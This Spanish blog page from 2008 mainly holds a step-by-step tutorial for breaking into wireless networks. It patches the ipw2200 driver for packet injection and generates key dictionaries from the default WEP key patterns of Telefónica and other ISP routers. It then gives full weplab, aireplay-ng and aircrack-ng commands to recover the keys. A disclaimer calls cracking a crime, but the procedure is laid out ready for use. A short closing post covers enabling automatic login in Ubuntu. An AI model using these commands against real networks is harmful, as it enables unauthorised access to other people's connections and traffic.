viernes, 18 de enero de 2008

Convirtiendo Ubuntu en una navaja inalámbrica

Fuente: InfoLinuxBlog

Una navaja con la que no se nos resistirá ninguna conexión inalámbrica. Este es un tema muy serio, debemos saber que piratear una red inalámbrica es un delito. El hacking no consiste en saltarse la seguridad de un sistema, consiste en aprender y entender. Sobre qué es y qué no es un hacker hay páginas a patadas así que no me lío. Lo primero es que para poder piratear una red, necesitamos entender cómo funciona y de qué vulnerabilidades vamos a aprovecharnos. Aquí explicaré lo básico y ampliaré con bibliografía, este es un tema realmente profundo y complejo.


Antes de nada recomendaría la lectura de 2 clásicos, el primero me trae gratos recuerdos:

  • Manual hacking wireless para principiantes: Explica casi desde cero lo básico en referencia a la seguridad inalámbrica. Es un howto tremendo, de lo más leído de elhacker.net.

  • Taller de redes WiFi del gran Vic_THOR: Este manual antes accesible en el foro de la revista hackxcrack (RIP) y ahora sólo descargándonos el backup del foro de la red, contiene un tratado sobre la redes inalámbricas que va desde la capa física a niveles más altos.


PARCHEANDO PARA REINYECTAR
Lo primero que haré es parchear mi chipset inalámbrico ipw2200 para que pueda reinyectar y así no tener que estar días para poder romper la clave de una red.
En la página oficial de la suite aircrack podremos encontrar un listado de chipsets y manuales para parchearlos para reinyectar. En concreto yo me baso en la última versión disponible para el ipw2200. Aquí tienes el hilo del foro donde el creador publicó el parche para la ipw2200.

Si leemos un poquito los enlaces anteriores veremos que el parche está pensado para el kernel 2.6.20, el que viene con Ubuntu Feisty 7.04. Para parchear una Ubuntu Gutsy siempre que tenga el kernel por defecto, el 2.6.22, tendremos que editar el parche como se explica en este hilo propuesto en los comentarios por tarin.

Estos son los pasos que he ejecutado (Hay algunos que cambian respecto de la wiki de Aircrack):

Me bajo la librería y la compilo:

wget -c http://superb-west.dl.sourceforge.net/sourceforge/ieee80211/ieee80211-1.2.17.tar.gz
tar xzf ieee80211-1.2.17.tar.gz
cd ieee80211-1.2.17
sudo make SHELL=/bin/bash
(Sí, sí con sudo)
Le digo que “y” a todo
sudo make install SHELL=/bin/bash
Vemos que no tenemos errores.

Bajamos el último parche a día de hoy. Pincha aquí para bajártelo.

Después le toca el turno al driver:
wget -c http://superb-west.dl.sourceforge.net/sourceforge/ipw2200/ipw2200-1.2.1.tgz
tar zxvf ipw2200-1.2.1-inject_patch.tar.gz
tar zxvf ipw2200-1.2.1.tgz


Lo parcheo:
patch ipw2200-1.2.1/ipw2200.c ipw2200-1.2.1-inject.patch
patch ipw2200-1.2.1/Makefile ipw2200-1.2.1-inject_Makefile.patch


Lo instalo:
cd ipw2200-1.2.1
sudo ./remove-old

Le doy que “y” a todo
sudo make
sudo make install


Ahora cargamos el módulo nuevo:
sudo modprobe ipw2200 rtap_iface=1

Edito el fichero /etc/modprobe.d/options y añado la línea:
options ipw2200 rtap_iface=1

Si hacemos ifconfig -a veremos como nos lista la nueva interfaz rtap0.

INSTALANDO AIRCRACK

Nos va a hacer falta. Para ello basta con ejecutar el comando:
sudo apt-get install aircrack
Aquí tenéis un manual para hacer funcionar aireplay con los ataques que soporte vuestro parche.
Con este comando hemos instalado el aircrack, airodump, airmon y el aireplay.

DICCIONARIOS PARA LAS REDES WLAN_XX, LAS adslxxxx, LAS D-LINK WIRELESS…
Las redes te telefónica tienen siempre un ESSID del tipo WLAN_XX con la particularidad que los primeros pares de la mac del AP (BSSID) y estos dos dígitos XX forman parte de la contraseña por defecto de la red o clave WEP. Por eso si capturamos un solo paquete que contenga un IV podremos lanzar un ataque de diccionario que contenga todas las posibles combinaciones que contengan los dígitos anteriores. Para ello necesitamos un software que genere el diccionario. Del mismo modo ocurre con las redes inalámbricas de ONO, Orange…
En la actualidad existen diversas alternativas, la mayoría están programadas para funcionar sobre Windows, lo que me sorprende ya que no es el entorno pensado para la auditoría inalámbrica:

  • WlanDecrypter de RusoBlanco: Su página web está offline desde hace tiempo, así que he subido el source para Linux de la que fue su última versión a mi servidor. Lo podéis descargar desde aquí.

  • Easy Wep Finder EWF: Este programa hecho por MADMAX32 podréis encontrarlo en este hilo del subforo de hacking wireless de elhacker (Probablemente el mejor foro sobre este tema en español). El caso es que es una aplicación web que funciona conjuntamente con otro programa para Windows apodado WLAN_Ripper 1.1. En el hilo anterior podéis enteraros de cómo instalarlo y hacerlo funcionar, cada programa trae sus respectivos manuales.
    Yo no lo he usado nunca, pero es el software más actualizado a día de hoy para estas redes. Incluye los nuevos APs sacados en el 2007 por Telefónica, es capaz de romper claves generadas a partir de passphrase, claves de redes ONO, Orange…
    Por lo que entiendo EWF es una interfaz web que nos facilita que comando tenemos que ejecutar en nuestro Windows para que WLAN_Ripper obtenga la clave, es la interfaz visual.
    Claro que también podemos bajarnos la suite de WLAN_Ripper que es independiente de EWF y aprender a usarla por nuestra cuenta. De momento explicaré como usar el primero, ya que está diseñado para Linux, pero no descarto otro día hacer un tutorial de cómo hacer funcionar el segundo, a lo mejor con Wine.


Lo primero que hacemos es bajarnos el WlanDecrypter y compilarlo.

wget -c http://www.infolinuxblog.com/subidas/wlandecrypter-0.5.tar.gz
tar xzf wlandecrypter-0.5.tar.gz
cd wlandecrypter-0.5/
make
sudo make install


Nos genera el binario wlandecrypter. Ahora para generar el diccionario haremos:

./wlandecrypter BSSID ESSID

FUERZA BRUTA


Para hacer el ataque usando el diccionario necesitaremos un programa de fuerza bruta para paquetes inalámbricos. Las dos grandes opciones son weplab y wepattack. Yo usaré weplab. En su página oficial podemos encontrar toda la información referente a este software multisistema, cómo compilarlo, dependencias, últimas versiones, ejemplos, etc. En Debian y Ubuntu bastará:

sudo apt-get install weplab

TODO A LA VEZ
A mi la entrada a weplab me gusta pasársela por la entrada estándar. Así que hay dos opciones. Sobre el fichero .cap (no os confundáis al capturar tráfico en poner solo ivs). Hago:

cat diccionario | weplab --key 128 -y --bssid bssid archivo_de_paquetes.cap

o bien:

./wlandecrypter BSSID ESSID | weplab --key 128 -y --bssid bssid archivo_de_paquetes


REINYECTANDO TRÁFICO
Bastará con poner a la interfaz rtap0, que está en modo monitor a capturar. Después hago un ataque de tipo3 con la interfaz eth1 y finalmente cuando tenga suficientes IVs, crackeo la clave con el aircrack:

airodump-ng -w intento1 rtap0
sudo aireplay-ng -3 -b BSSID -h MAC_CLIENTE -i rtap0 eth1
aircrack-ng intento1-01.cap


Con suerte obtendremos un bonito: KEY FOUND!

Inicio de sesión automático en Ubuntu

Fuente: BeLinuxMyFriend

En muchas ocasiones me resulta molesto tener que loguearme al inicio del sistema, y más cuando soy el único usuario. Para poder activar la entrada automática de un usuario tenemos que entrar en:

Sistema > Administración > Ventana de entrada


Una vez abierta la ventana, en la la pestaña "Seguridad" marcamos "Activar entrada automática".

Seleccionamos al usuario con el que queremos iniciar la sesión automáticamente y listo.